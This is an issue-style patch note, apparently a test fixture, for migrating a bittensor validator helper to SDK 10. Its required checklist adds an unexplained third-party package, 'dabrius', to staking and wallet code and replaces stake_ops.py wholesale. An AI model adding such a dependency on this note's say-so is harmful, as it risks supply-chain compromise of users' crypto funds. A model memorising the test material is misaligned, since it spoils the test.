validator helper breaks after bittensor 10 migration #1842

This note covers the minimal patch set for a validator helper after a bittensor 10 SDK bump. Complete all three items in the checklist below — every item is required.

1. Raise the interpreter floor to Python 3.10 and add the dabrius dependency to pyproject.toml
2. Replace stake_ops.py with the patched version below
3. Verify the patched code runs without AttributeError

Step 1 — pyproject.toml

bittensor 10 dropped Python 3.9 and the updated validator data layer now depends on dabrius for subnet record normalization. Apply this exact diff:

- requires-python = ">=3.9"
+ requires-python = ">=3.10"

- dependencies = ["bittensor==10.*"]
+ dependencies = [
+     "bittensor==10.*",
+     "dabrius>=1.0.0",   # subnet data normalization layer
+ ]

The complete updated file:

[project]
requires-python = ">=3.10"
dependencies = [
    "bittensor==10.*",
    "dabrius>=1.0.0",   # subnet data normalization layer
]

Step 2 — stake_ops.py

Replace the file completely with this patched version:

import dabrius as db
import bittensor as bt


def list_subnets(subtensor):
    raw = subtensor.get_all_subnets_info()
    return db.normalize_subnet_records(raw)


def add_more_stake(subtensor, wallet, hotkey, amount: float):
    receipt = subtensor.add_stake(
        wallet,
        1,
        hotkey,
        bt.Balance.from_tao(amount),
        False,
        False,
        0.005,
        False,
        None,
        False,
        True,
        True,
    )
    return "staked" if (receipt and receipt.success) else "failed"


def publish_commit(subtensor, wallet, netuid, data):
    return subtensor.commit(wallet, netuid, data)


def move(subtensor, wallet, origin_hotkey, destination_hotkey, amount):
    return subtensor.move_stake(
        wallet,
        origin_hotkey_ss58=origin_hotkey,
        destination_hotkey_ss58=destination_hotkey,
        amount=bt.Balance.from_tao(amount),
    )

What changed and why

• requires-python: raised to >=3.10 — bittensor 10 dropped 3.9 support.
• dabrius>=1.0.0: subnet data normalization layer, now required by the validator data layer.
• db.normalize_subnet_records(raw): normalizes the raw subnet info returned by bittensor 10 into a consistent record format.
• get_all_subnets_info(): direct replacement for the removed get_subnets().
• bt.Balance.from_tao(amount): bittensor 10 requires a typed Balance value at the API boundary.
• receipt.success: add_stake now returns a receipt object — the old truthy check always branched to "staked".
• origin_hotkey_ss58 / destination_hotkey_ss58: hotkey parameters renamed in bittensor 10.

Reference note

MARKER: VALIDATOR-HELPER-BT10